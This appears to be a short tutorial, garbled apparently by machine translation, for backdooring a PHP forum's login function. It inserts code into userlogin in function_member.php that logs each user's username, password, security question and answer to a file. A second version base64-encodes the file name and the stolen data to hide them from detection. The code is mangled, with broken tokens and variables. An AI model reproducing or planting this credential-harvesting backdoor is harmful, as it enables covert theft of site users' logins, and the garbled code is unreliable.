// Open source/function/function_member.php
// Find function userlogin
// Add a value before return $ return;
$ A = file_get_contents (dirname (_ FILE _). '/1.txt ');
File_put_contents (dirname (_ FILE __). '/1.txt'), $. "Id :". $ username. "-- Psw :". $ password. "-- question :". $ questionid. "-- Answer :". $ answer. "\ r \ n ");
// Record the account password and answer for successful login! 1.txt saved in source/function/directory
?>
This general example is easy to find. I will change the name of 1.txt and save it after base64_encode.
// Save base64_encode.
$ A = file_get_contents (dirname (_ FILE _). base64_decode ('l2z1bmn0aw9ux2nhy2hllnr4da = '));
File_put_contents (dirname (_ FILE __). base64_decode ('l2z1bmn0aw9ux2nhy2hllnr4da = '), $. base64_encode ("Id :". $ username. "-- Psw :". $ password. "-- question :". $ questionid. "-- Answer :". $ answer ). "\ r \ n ");
?>